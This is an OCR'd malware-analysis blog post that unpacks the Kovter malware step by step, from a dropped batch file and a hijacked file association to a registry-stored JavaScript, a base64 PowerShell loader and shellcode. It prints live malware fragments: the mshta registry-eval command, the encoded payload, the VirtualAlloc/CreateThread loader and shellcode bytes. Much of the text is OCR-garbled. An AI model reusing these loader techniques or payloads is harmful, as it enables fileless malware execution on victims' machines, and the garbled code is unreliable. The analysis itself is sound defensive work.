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EH 0xchrollo.github.io/articles/unpacking-kovter-malware/

June 17, 2022

Melwere Anclysis

June 17, 2022

Sample:

40050153DCEEC2C8FBB1912F8EEABE449D1E265F0C8198008BESB34E5403E731

Behaviour analysis

this malware uses a highly sophisticated way of unpacking, I'll be demonstrating how to fully
unpack it and extract the second stage of it.

let’s start by dynamically analysing this sample, fire up ProcMon and execute the sample.
after capturing events with ProcMon, save it to a CSV file and load it to ProcDot, it will look
like this.
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this is a lot of output!, what we need to focus on are the red colored event.
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FILE:cusersirem\appdatatlocali8297\bdf6 batp
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HKCU\SoftwarewBLUTgs GMNYWGQ2 QG

HECUWSoftwarewSLUTgsGHNEGwWSVP

vl

we see that it dropped a file to disk. and also

p—

HECUSoftware\gxyhwinsgicjryoth

HECU\Softwareigxyvhwinsg'zbrgoviz

some weird registry keys created.

let’s first start by navigating to that dropped file’s directory.
¢(C) » Users » REM » AppData » Local » 82297

Fat

Mame Date modified Type Size
bdf6.bat B/17/2022 8:48 PM Windows Batch File 1KB
[ d021.2ed62 B/17/2022 8:43 PM 2EDE2 File 31 KB

we see two files one of them is a .bat file and the other has a random extension .2ed62.

note: batch files are scripts that contains multiple commands to be executed by the
command line in Windows.

let's view the batch file’s contents.

[~ b bat £3
‘ 1 start "SMnWCTy¥TilS5VFglGwi™ "%LOCALAPPDATA%YWE2974%d031l.2ed62™

the start command will open this file d031.2ed62 but what is the file actually is?. this file is
not even an executable, after some time | realised that this is just a dummy file and the
actual purpose is not to execute it.

Windows by default when it tries to open any file, it looks for the software that can run the file
in the registry, what we can do now is to open the registry and look for the software or
command that executes .2ed62 extensions.

3/14



you can find a list of extensions under HKEY_CURRENT_USER\Software\Classes

B Registry Editor - O X
File Edit VYiew Favorites Help
Computer\HKEY_CURRENT_USER\Software\ Classesh.2edB2

v 3 Computer A

MName Type Data
HKEY_CLASSES_ROOT fﬂ(De‘Faultj REG_SZ 0348

v HKEY_CURREMT_USER
AppEvents
AppXBackupContentType
Console
Centrol Panel
Environment
EUDC
Keyboard Layout
MNetwork
Printers

v Software

i 7-Zip

AppDatalow

v Classes

001
2ed62

we found the extension but what is the value 03467, it is supposed to hold the name of the
software that will open it.

this 0346 is just there for obfuscation purpose and it acts like a pointer (means that you can
find it in the list of extensions).

Computer\HKEY_CURRENT_USER\Software\Classes\0346\shell\open\command
L v 0346 * | Name Type Data
v shell =|(Default) REG_SZ "CAWINDOWS\system32\mshta.exe” “javascript:Cc
. vllopen
: command

going down the list of extensions we can see our pointer and it points to mshta.exe followed
by a JavaScript code to execute.

double click on the name and extract the whole command.

[ script js E3 |

' "C:\WINDOWS\system32\mshta.exe"™ "javascript:Cd25Le="M";
LT7m=new ActiveXObject("WsScript.shell"™);

ouevr="eR¥DvsT";

V0ZOG=L7m.RegRead ("HECU\\software\\gxyhwinsg\\zbrqgoytjz") ;
1SK1sZ06eP="Fan3n3";

eval (VOZOG) ; tVHOOImU="VEL" ;"

=

[ T Y Y I oW

What pops up into our eyes immediately is the registry key
HKCU\software\gxyhwinsg\zbrgoytjz. it reads the contents and store it in VOZOG variable,
then calls eval function which will execute the script (it needs to be a JS script). So let’s
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examine what'’s in that key.

Name Type Data

b (Default) REG S7 (value not set)

5\ cjrvovth REG_SZ A£Q.e0°0,unlloR-k8t"«%oceEs<A—-04EzBDUI»T
stledopwn REG_SZ IWAW3IVtAlegxbJIPX8vFjk=

=t fpkucmrb REG SZ JjswWisdgA9Qs2

2lwdahd REG_S7 JT4SjZRV8AzqFgUvIVIHONM 2 kxrKAQ=

2t xdzmsoklx REG_SZ dzFBicc/APSWEISKpvBbtvaO3vIV2Gv2GoGMEZAGS
&1 7brqoytjz REG_SZ fMqZ80GqrsxkbMGTVUKMJsUK="iqSnUKITW]Ysy:

This time if we tried to just double-click it, it won’t work because of the length.

We can use reg_export command line tool instead.
command:

reg_export HKEY_CURRENT_USER\Software\gxyhwinsg zbrqoytjz dumped_scp.js

[ dumped_scp js E!]

1 quZBOquSxkaBTVUkHJSUk*"'q:"Jk TNuIS,a7'k1c1 fbCoCwSBenSaxGEcZcDt 19N"™ ;BPiQkDTbSCrG4uNe0vI="rTIYKs19yfnzqhfX7";
ZULQELquOrOhml&kec:"T G
OE3D291D2B33363D1C0

1DSF04382D350B07

305A331D31160
6DSA24345B3

the script we extracted looks very hard to analyse, a good thing to start with is to try

searching for any evals.

WUmaoU1ldxhQSFE=uMh8vXMbUVORaKbE=" ; uMh8vXMbUVORaKbE<ePe1l0x0. length ;uMh8vXMbUVORaKbE++) {
SeCeBT6HBVaK+=String. fromCharCode (ePel0x0. substr (uMh8vXMbUVORaKbE , 1) .charCodeAt () “WNnJR1CcK9.
substr (WUmaoUldxhQSFE, ) .charCodeAt () ) ;WUmaoOUldxhQSFE= (WUmaOUldxhQSFE<WNnJR1CcK9.length=-1)7?
WUmaOU1ldxhQSFE+1:0; }vYjYCZY1rdCRERbvZz4Ystxi="kuX1FHe IWK70%4zggBHtQawMcs2T04iROLM" ;
EvBmQfxnGldUOrYBis="8jw2ymhSmy8BpzEzjFCx1ppfONDWtntSElxn9rglon" ;KYtEYTH6kylXWtqMnLE1dYZ=
"3egd4MdhepPe fGSUOBCWUnLcuGlH" ;- (SeCeBT6HBVaK) ; xBXa8WfVIwPwzaefFWVYUrx=
"BnSLMMOHaXMnfxg20IC5glPCESScYSnkeArdnUhRGZ" ; QgTCRMcbdK2aAzAcdr9Rg=" 6WE1iLMGCz jPKiJoRcymymf 6FM47J"
; SZXKHAWRUGI3pBnGatwQRZphS="0PwhRi0o5U0uns30bYbuWtwIsloeMyYghj03sMNX" ; ZE8BKXpwxVMKsWulXz1lmA=
"70A9tiFRz1I20r7NdpJEn" ;uFUMZ6VTLXGJMABNBjc="11hErBakzbJQecMyRltnrtEah4Ejl";
rfqGjDK6dzOyWQSntazlQI="bUaivAp2EtaZcmWIJXNVICEXhcCCETiP" ; il

and indeed near the end of the code we can see an eval, why is this important?
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as we can see this code has alot of numeric data stored which can be another form of JS
scripts that is being decoded and executed.

eval is a the function that will execute any JS script, so rather than spending time analysing
the code (which will be a big pain), we can simply reach the point that it calls eval (obviously
after decoding the payload) and just examine what is passed to eval.

how can we do that?

One of the quick ways is to patch eval and make it print the code to us.
append this code to the top of the script:

oe = eval

eval = function(i){
WScript.Echo(1i);
oe(i);

run the script with wscript.exe.

Windows Script Host X
2dnuBPCXkG2nCGXplcRx="wmnR7SbiVjcaD|Pytij)gK7TMBusMHsFuaWm’; oyjSHjTVjli13sHdzCVeZRRC = "UXzF 7 4mb6KNzbijH8VE6DGHIISDKHHE d8tDg2xKcox2i; sxphB. “VOKESpfIXWyii 5OtgwslynK3f4Fd; cuUwktcUdB1T7mNvLIbaulQr="1114
13nGNRWXdkc3Ldx8OC1zul0Z ;vmeWGICHcYsEnHdNfyu4OK="ZmhQsNdWmQuVGPSOcEqwBKHINh10aEW15b7 1JHOs";KYlbvdjz¥s OJ4ePeYh="VNIEX24StIRARO4VeVpnM4XRXNBvShjsCFWz2)GpnDVOs';0 O RVFl=" tEUDITILKNNTV

ZD&";ZdWXZADRIXpQlxubKcV="ZexmSTORPB 3koloLiu)U4mGwsypSZoAtpFWrHSTSE 1 try{moveTo(-100,-100) resizeTo(0,0); ARS=new ActiveXObject("WScript.Shell’);(ARS.Environment( Process )} zgjeat ) ="iex
([Text.Encoding]::ASCIl.GetString([Convert):: FromBase645tring( I3pp<XimaGsNCnNsZWVwKDE1KTt0cn7DQojZ3d4cXd3 cAOKZnVuY3Rpb24gZ2RIbGVNnYXRIew0KI 3F4eXcNCIBhcmFtIChbUGFyYW11dGVYKFBvc2I0aWOuPTAsTWFUZGFOb3J5PSRUCnVIKVOgW1R5 cGVb
)(VOqJFBh(mFtZXRItnMsWT BhemFtZXRIGhQb3NpdGIvbj0xKVOgW1R5¢GVdICRSZXR1 thLIQXB\WthZ\kXSk?DQDJh)(hlanldeOKJFREtGV(dWISZGVthBcHBEhZlhaWSdOJpDﬂ)(JyZWSDRGQtYWIuLkRIZm\uZURSDmFtaWNBdNIDWJS!Sgon\BLUQmm\Ud(BT!
XNOZWOuUm' JShbWU IbGVr tTeXNOZWOouUm BWIOLKFze2VtYmxSQnVp| J¥Y2Vzc10601 uJ‘(W1pVOWZH'VSZSQISWSNZWW(HINBZIUbGUILCRmVWﬂZSkuRGVmaWS
\VHIwZSngFhVIlwath(BMsuHVmGULFNIWWIZCXBDHNpQ&hcsMsQXVDDDNsYXNzllxbUSIszV(Lkl1uHRpVZdeERIbGVnYXRIXSUDQujumtwczFkDonVHIwZUnu\M(k JU3BIY: \bWUsSGIKZUJSU2INLFB 1¥YmxpYyls
1060INOYWSKYX JkLCRQYXJhbWVOZXJZKSSTZXRIbXBsZW1IbnRhdGIVDKZsYWdzKCISAWS0aW1ILET hhanZWQIKTSNCINhaGDerJkDQﬂkVHIwZUﬂ AWxkZXIURGVmMaWSITWV0aG9kKClibnZva2
UwLCJQdWJsaWMsSGIkZUJSUZInLESIdINshZQstldevth\sJFJIdHVybIRScGUsJFBmmFtZXR\chpLINMHh STWFUYWIZCIp OWOKI3H dWxybXpwcQOKcmVOdX JulCRUEXBIQNVpbGRICiSDcmVhdGVUEXBIKCKTIQOK
I3R3ZWR2DQpmdW5jdGvbiBncHIVY3sNCiN2aGJp cW)4cmthDQpQYXJhbSAoW1BhemFEZXRIci E1hbmRhdG9yeT J1ZSIle’tTdHJubmdd\CRNbZNbGUsW“thmFtD‘Rl(thu E1f 1Z5IdIFtTd RQcm
912WR1(mUp0w0(I3IrZHR1DwOKJFNS(BRIhUFzcZme(SWtB(HBEb2IhaWidOjpDd)UyZWSORGQtYWIulkd\dEdeV(\'mpoXMuK)w(aGVyZﬁPﬂ'npWBR?JFBuleVmFsQ)(NzZWIlbH|DVWNnZSAtQWSk|CFJLIO(WZFU!W‘?ULINWDGIOKCJclllbLTFdeVXdWF!cyquSlz
dGVILMRsbCIpfTsNCi H15DQokV 3 XZITWV0aG Ik zOKU3IzdGVIQXNZZW 1ibHKUR2VOVHIWZSGITWIjcmSzb 220LIdp bjMyLIVu¢2FmZUShdGI2ZU1IdGhvZHMIKTSNCINS RYNCRJIdHVY TTmF0aXZITWV0aG9keySHZXRNZXR
0b2QolkdIdFByb2NBZGRyZXNzIikuSW52b2tIKCRudWxsLEAOW1NSe3RIDSSSdWS0aW 1ILkludGVyb3BTZX J2aWNIcySIYW5kb GVSZWZ JKESIdy 1 PYmplY3QgU3Izd GVELL 1bnRpb WUUSWS0ZXveFNIcnZp¥2VzLkhhbmRsZVIIZigoTmV3LUSiamVjd CBJbnRQdHIpLCRVDN
NthVOfopdmVNZxRBbZRZLkdldETMG'WZCgIR2V°TW9‘(GWX|5GFUZGX"IKU5W5202f|KCRUdMSlEAGJE1VZHVSZSkﬂKSkS]FByb2N|ZHVyZSkFOSONCINVdWNkB5h4!W1kDQpbQﬂ|OZWdeAk(ZMZMIAQ\DMNTU!MHngEEVDlDMODESMH.IDNCWWEDAW
LDB4RKEsMHNGRiwweEZGLDB4NTMsMHg1Niw8121ncSM+MHg1NywweDUZLDB4NTYsMHg 1N EZDLD! DYOLDE4OEIsMF DMwLDB4OEIsMF DEDLDE4OEIsMHg 1MiwweDECLDE4OEIsMHg3MiwweDI4LDB4NKEsSMHg
x0CwweDUSLDB4MzEsMHhGRiwweDMxLDB4QzAsMHhBQywwe DNDLD B4NjEsMHg3Qywwe DAyLDBAMKMsMHgyMCwweEMxLDB4Q0YsMHgwRCwweDAxLDB4QzcsMHhFMiww eEYwLDB4ODEsMHhGRiwwe DVCLDB4QkMsPCNmaCM + MHg0QSwweDZBLDB4
OEIsMHg1QSwweDEwLDB4OEIsMHgxMiw8|3lwlizdweDc1LDB4REIsMHg40SwweDVELDB4ARKkMsPCNIcHKjPjBANUYsPCN4cCM + MHg 1RSw8I212YiM - MHg1QiwweDhCLDB4ND UsMHh GQywwe Dg5LD BANDUsMHhENCwweDhCLDBANDUsMHhENCwweDY2LDB4O
DEsMHgzOCwweDRELDBANUI i Dg1LDB4ME! DAWLDwj 1jPj DAsMHg4QiwweDQILD! QyLDI g 1MCwweDhCLDBANDUsMHhENCwweDhCLDB4NDAsMHgzQywweDkSLDBAMDMsMHgwNCwwe
D\DLDB4MTM;MH91NwaeD|OLDB4MDQ;MHg4MywweEMDlDB4MDgsMHg405wweDQ1lDB4RDAsMHg4QIwweDQILDMRD M DMALD M+MHgwMCwweDAWLDB4MEYsMHg4NSwweEU 1LDB4MDEsSMHgwMCwweDA
WLDB4OE!! QwLDB4OEIsMF ‘wweD¢4LDB4MDI EZDLDB40ODk: DLDB4OI -] IDLDB4O! wweDE4LDBADDUsMHnDMwaeDBGLDB40EMsMHhDQwaeDAxLDMMDAsPCNydnijJMM
DAsMHgomcheog5LDB409U;MHqzm,weizsmwjzzvjnMRszMHnGmeeDMzLDMmVsMHmwweDm LD QYLD 1g1MCwweDhCLDW]ZmOjPjE4ND UsMHhDQywweDhCLDE4NDAsMHgyMCwweDMzLDB4RDIsMHg1 Miw
weDUwLDB40 DB4R i DkSLDB4MDI g wweDIOLDwjb WGPy g1NCwweDIOLDB4MDQsMHg: DE4MDg: DADLDBAM;Qs! DUOLDB4M)QsMHg wweDgzLD|
MHgwOCwweDhCLDB4MD: DRELD g DMSLD DB4N;QsMF DU2LDB40OEQsMI DAOL DBdODEsMngOwaeDRDLDBJNJksMH\]ZM\ww:D(‘lI.DBszUsMHQOQ\WWEDI’!ELDB‘NDES
MHgwOCwweDgxLD!/ g 2MSwweDcyLD! 1LDwjZm1xiz4weDQwLDB4OEQsMHgOMSwwe DBDLDB4ODAsMHgzOCwwe DAwLDB4ANzZUsMHgzOCwweDhCLDBANDUsSMHhDQywweDhCLDB4ANDAsMHgyNCwwe DAZLDBANDUsMHR
GW!DMiLDw;DmIV\uweE(NLDBANTISMHQIM(wwe[}nClDBdOzY;MngMyww!EMwLDMOTksMHgwMywwt[)AOLDBAMJQSMngMywweDLIOL[)wj!GBJPjMMJOsMngNwa:DgzLDBM)zQsMngO(wBImeSM MHg2NiwweDhCLDB4MDASMHg4Qiw
weDU1LDE4Q0MsMHg4QiwweDUyLDB4ML 3LDB4QzAsMHNDI eEUwLDwj DB4MDI 1hEM ww!DhCLDBAMDISMngMyWWEDQ]LDBdeMSMHg‘iOSwwEDQ1LDMKMSMHg‘iMSwweD
MSLDE4NDcsMHg2N DcOLDI "“Imlew=l)hELDE4NDEST\MIP‘I;IW'NC\"'W DgxLD g D. f"l‘ U 25pYyM- RCLDE4OEQsMF DA4LDB4ODEsMHgzOCwweDYOLDB4N)QsM
HgBM\\wv:DVTI.DMNzUsMHgOMwaeDhELDMNDEsMquRSww:DngDMMzgsMngMwa:DULDMMzgsMHgdorwweDmLDB4QOMsMHg4Q|wweDQwLDWJdHBx\zdweDlDI.DMM" DLDI it DUyLDI 1g4Qiw
thMZLDBJMDMSMHhDMszDkSlDBAMDMsMngNCW:DIDLDBﬂMTMiMHglN(wwtDIULDBAMDQ;MHngywwzEMDLDBdMDgiMHgZN|ww¢DhCLDBdMDAiP(NudyM*MHng\wwEDU1LDBAQOMSF'CNndyM'MquﬁlwszUyLDB‘tMLlMsMngMyw
weDU1LDB4RkMsMHgwRiww eEI3LDB4QzAsMHhDMSwweEUwLD! QwLDB4OE! DB4NDUsMHhGQ 5LDB4NDUsMHhCOCwweDgxLD NuZyM+MHg 5L 93N wweDc1LDB4ANTYsMH
g4RCwwe DQxLDB4AMDQsMHg4MSwweDM4LDw;)cHQjPjB4NzUsMHg2MSwweDZDLDBANDESPCNZCCM + MHgiNSwweDRCLD‘WJd3d1|Z4WEDhELDWJCIHNT\Z4WCDCD(LDBAMDQSPCNCVHEJPJMUDESMHQZOCWWEDZDLE 2My De
1LDB4NDAsMHg4RCwwe DQxLDBAMEMsMH g4MCwweDM4LDwjeHEjPiB4MDAsME DMALDB40OEIsMHg( DLDB4OEIsMHgOMCwweDIOLDB4MDMsME 3UyLDB4NTAsMHQ4QIszEM2LDBdMDM
sMHhDMwa!DkSLDBJMDMsMngNwaEDIOLDMMTMsMHgINwalDIDLDMMDQ}PCNIaZngﬁMODMSMHI’IDNwaeDMLDMNJ\'SMHMD_IwweDAwLDB‘iOEIsMHmNS\AMEENDLDMOEISMHQ1MIwwEDFDLDS4MDMiMHgINSwweHDLDMMEVSMHhCN
ywweEMwLDB4QzEsMHhFMCwweDAyLDB4AMDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg405wweDQ1LDE4QTgs MHg4MSwweDMSLDB4NDUsMHg3 O CwweDY5LDB4NzQsMHg3NSwweDYzLDB4OEQsMHgOMSwweDAOLDB40ODEsMHg
20CwweDUwLDwjemoj| 2R DYzLD 1g10CwweDhELDB4NDI OCwweDgwLDi 9 2NS Dc1LD g4RCwweDQxLDBAMDksMHg4h wweDM4LDB‘NZM!MH93NSwweDQ‘I.DMOEQSMHQOMSWW!DBBLDM
ODAsMquOwaeDaLDBszUsMHqDMwaeDgzLDB4QzEsMngQmweDngDw bt 'DMSLDB4MDAs Mt DM4LDB40OEIsME IDLDB4OI wweDIOLDB4MDI ZDLDI DUyLDB4NT/
gaﬂlwwlEMZlDBdMDMSMHhDMCWWEDI(SLDBQMDMSMHQWNCW'WEDIOLDBJMTMSMHQ1N(ww!DIﬂlDBdMDQm Hy: DB4MDgsPCNIb2IjPjB4Nj) 1g4QiwweDAWLDB40OEIsSMHg IDLDwjs DhCL INTIs| N]ZCM*MHQX@W
weDAZLDB4NTUsMHNhGQywweDBGLDB4QjcsPCNIYSM + MHPIDMCWWEEMXL LD ’MLDB"DL "RZLDMNDUSMHhGwaeDgSlDEM‘IDUSMHhEN[wwEDQZlDB4Rk\'SPCNIECM MHg4RCwweDNDLDB4RKYs
MHhGRiwweEZGLDB4MEVsMHg4NSwweDNFLDB4RKUsM GLDB4QzYsMHg4N 'W" Dmr\n sMI GLDB4Njl DNiwweDg1LI r'rMRkV{MH92NCWW!EMZLDMQDU!MHQIMSWWEEZGLDE“RKV!MHNGRI
wweD:ZLDEszYsMHQ‘NSwweDMyl.DEdeYsPCN Pyl i DYxLDBAQzYsMF 1o D DI ik "lew!DmLDMMzQwu EM2LDw;jZ) Dg1LDB4MzUsMHhG
RiwweEZGLDB4RkYs Mt DB40ODUsPCNuaiM: g: GLDI DMyLDB4QzVs MHg4NSwwe DM3LDB4RkYs MHhGRiwweEZGLDBAMKUsMHhDNir HD Ri EZGLDB4RKYsMHg2NCwweEM2LDB40ODUsM
HgzOSwweEZGLD i DZDLDBQQZ DB4RKYs PCNSZGM;Pj| DZDLDwjexXd5Iz 21 DBJDDUSMHngrww(EZGLDBJRkVSMHhGRIwwbDAwLDMOEQiMHgANSww!DJGLDBARkWMHhGlew!EZGLDMNTA
;MHhGRIWW!DUI[DBM]I(M;MHQM)\WW:EQ‘[DMODUSPC I Jl 93NSwweDATLDI le} wweEZGLDB4NTUsMHhBNCww eD gSLDB4NUQsMHRENCwweDhCLDB4NDUsMHhENCwweDY2LDB4ODEsMHgzO CwweDRELDBANUEsSMHgw
RiwweDg1LDB4NEYsMHgwMSwweDAWLDEAMDAsMHg4Qi D DUyLD 1g4Qiwwe DQ1LDB4RDQsMHg4QiwweDQwLDI NwcWQjPjB4OTksME DAOLDBAMjQsMF 12t4iz4weDUOLDEAMQsMHgw
NCwweDgzLDB4QzQsMHgwO CwweDg5LDBANDUsMHhEMCwweDhCLDE4NDUsMHhEMCwweDgxLDBE4MzgsMHg1MCwweDQ1LDB4MDAsMHgwMCwweDBGLDE40DL DAXLDwjY2ts DB4MDAsMHg4QiwweDQ1LDE4RDAsMHg4Qiw
weDQNLDMNZgiMHgwMywweEMZLDMODkSMHgONSwweENDlDBdOEIiMHgONSwweENDLDBdOEIiMHgOMwaEDE4LDB40DUiFCNpZZM]PJWSMngR\wweDhDlD54MEQSMngMSwweDAwLDB4MDASMHgOMwaeDgSLDMODUsMHgZCNwwEEZ
GLDB4RKYsMHhGRiwweDMzLDB4R;¥sMHg4C DUYLD! 1g4QiwweDQ1LDB4QOMsMHg4Qiwwe DQwLDB4AMjAsMHgzMywweEQyLDBANTIsPCNuZyM + MHg 1MCwweDhCLDB4QzVsMHhDMSwwe EUwLDB4MDIsMHQ50Sw
weDAzLDB4MDQsPCNtYyM+ MquNwa:DEzLDBANTQsMHgyNwaeDAﬂlDBdODMsMHhDNwaeDMlDMMDMsMHngwa:DIOLDBAMTMsMHglNwaeDIOLDIMMDQsMHdeywweEMDLDBdMDgsMHp&waeDMLDBdMDMSMHhDwatDngDBAMx
ksMHg1MiwweDY1LDB4NjesMHgORiwweD¢1LDB4NUIsMHg4RCwweDQxLDBAMDQsMHg4MSwweDM4LDBANzAsMHg2NSwwe DZFLDB4NEISPCNsbyM 'DUWLDB4OEQsME DA4LDB40ODEsMHgzOCwweDY1LDB4NzksMHgONSwweDedl
DB4NzUsMHgONSwweDhELDB4NDEsMHgwQywweDgwLDB4MzgsMHgOMSwweD c1LDB4MOQs MHg4 R CwweDQxL DBAMEQsMHg4MCwweDM4LDB4AMDAsMHg3NSwweDM1LDB40EIsMHgONSwweENDLDB40EIsMHgOMCwweDIOLDB4MDMsMHhD MywweD
MzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDE4QzAsMHg50SwweDAZLDB4MDQsMHgyNCwwe DEzLDEB4NTQsMHgyNCwweDAOLDE4ODMsMHhDNCww eDAALDE4N] YsMHg4QiwweDAWLDE4OEIsMHg 1NSwweENDLDE4OEIsMHg 1 MiwweDFDL

we got what it seems to be some base64 encoded data, let's copy and decode it.

note: you can’t copy directly from windows script host, so a good way to get this string
is to open:
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Process Hacker

sneral

tide free regions

Statistics  Performance

Hacker Vie

| % Refresh {3 Options

Threads Token Modues Memory Environment Handles GPU

wscript.exe Process [go to strings].

Help

#8 Find handles or DLLs 34 System information |

find the encoded string and extract it.

Disk]

Base address
0x7ffe0000
0x7ffe 1000
0x3ch800000
0x3cha00000
0x9cbc00000
0x3cbd00000
0x3chf00000
0XSccD00000
0x1b494220000
0x1b494230000
0x1b434240000
0x1b454260000
0x1b494270000
0x1b494280000
0x1b434230000
0x1b4962a0000
0x1b496370000
0x1b496380000
0x1b436330000
0x1b4363b0000
0x1b4963c0000
0x1b4963d0000
0x1b4563e0000

Type
Private
Private
Private
Private
Private
Private
Private
Private
Mapped
Private
Mapped
Mapped
Mapped
Private
Private
Mapped
Private
Mapped
Mapped
Mapped
Private
Private
<

Size
k8
60k
2,098 kB
1,024k8
1,024k8
1,024k8
1,024k8
1,024k8
64kB
8k
100 kB
16k8
4k8
4kB
32,772k
788 kB

12k8
84k
16kB
64k

4kB

RW
RW

RW
RW

RW
RW

RW

RW
RW

Use
USER_SHARED_DATA

PEB

Stack (thread 3316)
Stack (thread 2964)
Stack (thread 4764)
Stack (thread 2820)
Stack (thread 5444)
Heap (ID 2)

C:\Windows\System32Yocale.nis

C:\Windows\System32\en-USwscrip....
C:\Windows\System32\wscript.exe

Heap (ID 4)

after extracting the script, we open and see a reference to powershell.exe at the end of the
script.

1 3 X Search Proce |
Description
B Results - wscript.exe (1940) - a
& System
oo Session Manager
Address Length Result and DPCs
0x1b498148ad4 % XBXaBWVInPwzaefFUVYUr e
0x1b498 148b0c 84 BnSLMMOHaXMNq20IC5APCESSK. . Eia - Up Application
0x1b498 148b6¢ %2 QQTCRMcbdK2aAzAcd 9Rg 3nd Controller app
0x1b498 148bad 6 GWELMGCzPKIJoRcymymf6FMAT)
0Ox1b498 148be4 8 SZXKHAWRUGL 3p8nGatwQZohS ppin L
0x1b498 148020 % QPWHRIOSUOURS30bYbUW/ tIS 106M. .. © Font Driver Host
0x1b438146c78 42 ZFBBXpHXVMKSWUXZImA ver Runtime Process
0x1b498 148cac 2 70ASFRzII20r 7Ncp JEn Logon Application
0x1b498 148ce0 38 UFUMZEVTLXGIMASNBjC e Font Driver Host
0x1b498148d10 8 11hErBaKzbIQecMyR LinrtEah i1 indow Manager
Ox1b498148454 “ rfaGiDKedz0WQSNtaZIQl B
ox ﬁm l-ls'd:( 64 buawnuzfrazz:xmvrcﬁxncccs ™ T
0x1b438148f58 44 ISaipt - seript
0x1b498146fc8 106278 oe = evaleval = function@){Wscrip - O ETTS
0x1b498 163660 8 MqZB0GarSXkbMGTVUKM Uk PowerShell
0x1b498163c28 £ BPIQKDTBSCrGAMeOVT indow Host
0x1b498 163c90 8 ZULQA wdqOrOhmidkec ‘® Windows Based ...
0x1b498228028 51106 20NUBPCXKG 2nCEXDICRX="WMNRTS. . ker
Ox1b498234862 2 hrrrrrv]|
0x1b49823746¢ 2 MSISIP.DLL
0x1b4982374d4 b wshext.dl L
0x1b49823753¢ » HELL32.dI
B - P pewyau
- Saven, p— pre v EZGLDBARKISHG2NCuneEL2L
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that means after decoding the base64 data we’ll find a powershell script.

rshell_scr.psl

sleep(15);try{
function gdelegate{

Param ([Parameter(Position=0,Mandatory= 1 [Type[ll
[Parameter(Position=1)] [Typel =[Void]);

=[AppDomain]::CurrentDomain.DefineDynamicAssembly( (New-0bject
System.Reflection.AssemblyName("Reflec Delegate"}), -
[System.Reflection.Emit.AssemblyBuilderAccess] un) .DefineDynamicModule( " InMe
) .DefineType(" ","Class,Public,Sealed, A Class,AutoClass”,
[System.MulticastDelegate]);

.DefineConstructor("RTSpecialNa
[System.Reflection.CallingConventions]
) .SetImplementationFlags ("Rt

.DefineMethod("Invoke", "Public
) .SetImplementationFlags("RL

return .CreateType();}
function gproc{

Param ([Parameter(Positi C ds )1 [String]
[Parameter(Positior M }1 [String] )i

=[AppDoméin]::CurrentDomain.GetAssemblies{]|where-
Object{s .GlobalAssemblyCache -And .Location.Split("\")[-1].Equals("System.dl1")};

= .GetType("Microsoft.Win32.UnsafeNativeMethods");

return
.GetMethod("GetProcAddress") . Invokel( @l ISvstem.Buntime.Interc

PowerShell ¥ Tab Width: 8 ¥ Ln1, Coll v INS

and yes, it is a powershell script, let’'s move on to our windows machine and analyse it.

there is a great tool called powershell_ise to debug powershell scripts, let’s use it to open our
script.

opening the script in powershell_ise we can see a variable called sc32 at line 26 that holds a
set of hex values.

E: Windows PowerShell ISE

File Edit View Tools Debug Add-ons Help

e -Jd & &8 O M » B = & =] o i O [ -
powershell_scrps1 X &
§SystemAssemb AppDomain CurrentDomain. GetAssemblies() Where-Object{$_.GlobalAssemblyCache §_.Location.SpIht(”"\") -1 .Equ
#dnbdhyy
22 § afeNativeMet} fSyste sembly. GetType("Microsoft.Win32.UnsafeNativeMethods");
23 #yuleusmjv
4 return IUnsafeNativeMethods.GetMethod("GetProcAddress™). Invoke(&nu @([System.Runtime. InteropServices.Hand]leRef ] (New-Object Syste

#oucdkxxymd

Byte 0x55 O0x8B OxEC Ox81 OxC4 Ox00 OxFA OxFF OxFF O0x53 Ox56 <#mgg#>0x57 0x53 Ox56 Ox57 OxFC O0x31 OxD2 Ox64 Ox8B O0x52 0
#ulbktym

s System.Runtime.InteropServices.Marshal GetDelegateForFunctionPointer ({(gproc kernel32.d11 VirtualAlloc), (gdelegate @([IntPt
9 | #1jqgkveyi
0 =if(Spr 0) {Smemset=([System.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer ((gproc msvcrt.d11 memset), (gdelegat
1 #jtvzyetm

for ($1=0;54 (Ssc32.Length-1);51++) {Smemset.Invoke((Spr+8$1), S$sc32[8%i 1)}

#qimx

([System. Runtime. InteropServices.Marshal GetDelegateForFunctionPointer ((gproc kernel32.d11 CreateThread), (gdelegate @([ IntPtr
#mgujhdqtk
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and at line 28 we see a VirtualAlloc invoked to allocate the length of s€32 with 0x40
(READ_WRITE_EXECUTE).

powershell_scrps1 X
26 |57 ,0xFC,0x31,0xD2.0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x6A,0x18,0x59,0x31,0xFF,0x31,0xC0O

virtualAlloc) (gdelegate @(/ IntPtr | [UINt32] [UInt32  [UInt32) ((UInt321)))) Invoke(0 $sc32 Length 0x3000 0x40);
29

and if we take a look at line 32 and 34 we see that it copies the bytes from sc32 to some

memory pointer then calls CreateThread to execute that region of memory.

31 | #jtvzyetm
32 for (51 0;81 ($5c32 Length 1);%i 1) {Smemset Invoke((%pr $i). $sc32 %i 13;)

34 CreateThread) (gdelegate @( IntPtr! 'UInt32! [UInt32] [UInt32  [UInt32  [IntPtr!) ( IntPtr!)))) Invoke(0 0 $pr Spr

So, what we can conclude from this basic analysis?

1. this powershell script is just another loading stage to load and execute the shellcode in
sc32 (the name also tells us that this is a shellcode [shellcode32]).

let's dump this shellcode and analyse it, don’t go too far, we can also use powershell_ise to
extract this shellcode.

first we need to put a breakpoint in the line after sc32 variable (rigth-click and toggle
breakpoint).

run the script (it will break after 15 seconds because at the beginning of the script it sleeps).
after you hit the breakpoint type this in the bottom console.

[io.file]::WriteAllBytes('shellcode.bin', $sc32)
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and now we have our shellcode set and ready for analysis. let’s start analysing from SCDbg
tool.

i scDbg - libemu Shellcode Logger Launch Interface — O X
Shellcode file  |C:\Users\Publichshellcode. bin m‘:}l
Options _
[ Report Mode [ Scan for Api table [ Unlimited steps [ FindSc [ Start Offset Ox Example
[ Create Durp [ Uselnteractive Hooks |~ Debug Shell
[~ NoRWDisplay | Moritor DLL Read/Wiite More
| Process Command Line |
[ fopen |
[ Manual Arguments | | Launch
000000 55 8B EC 81 C4 00 FA FF FF 53 5€ 57 53 56 57 FC Ueeeewn. . SVHSVH. ~
00001 31 D2 &4 8B 52 30 8B 52 0C €B 52 14 8B 72 28 6A l.d.RO.R..R..r(]
